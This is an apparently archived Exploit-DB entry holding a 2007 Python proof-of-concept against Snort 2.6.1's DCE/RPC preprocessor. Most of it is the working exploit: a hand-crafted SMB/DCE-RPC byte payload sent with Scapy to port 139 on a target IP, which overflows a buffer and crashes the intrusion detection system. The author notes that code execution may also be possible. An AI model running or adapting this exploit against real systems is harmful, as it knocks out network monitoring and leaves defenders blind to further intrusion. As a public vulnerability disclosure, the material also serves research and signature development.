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Snort 2.6.1 - DCE/RPC Preprocessor Remote Buffer Overflow (Denial of Service) (PoC)

🗓️ 23 Feb 2007 00:00:00Reported by Trirat PuttaraksaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Snort 2.6.1 DCE/RPC Preprocessor Remote Buffer Overflow (DoS) Po

Code
#!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (DoS)
# 
# Author: Trirat Puttaraksa <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution
# may be possible, but I have no time to make it :( 
# I will post the information about this vulnerability in my blog soon
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) 
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################

import sys
from scapy import *
from struct import pack
conf.verb = 0

# NetBIOS Session Service
payload = "\x00\x00\x01\xa6"

# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"

# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"

# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"

# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

if len(sys.argv) != 2:
	print "Usage snort_dos_dcerpc.py <fake destination ip>"
	sys.exit(1)

target = sys.argv[1]

p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)

# milw0rm.com [2007-02-23]

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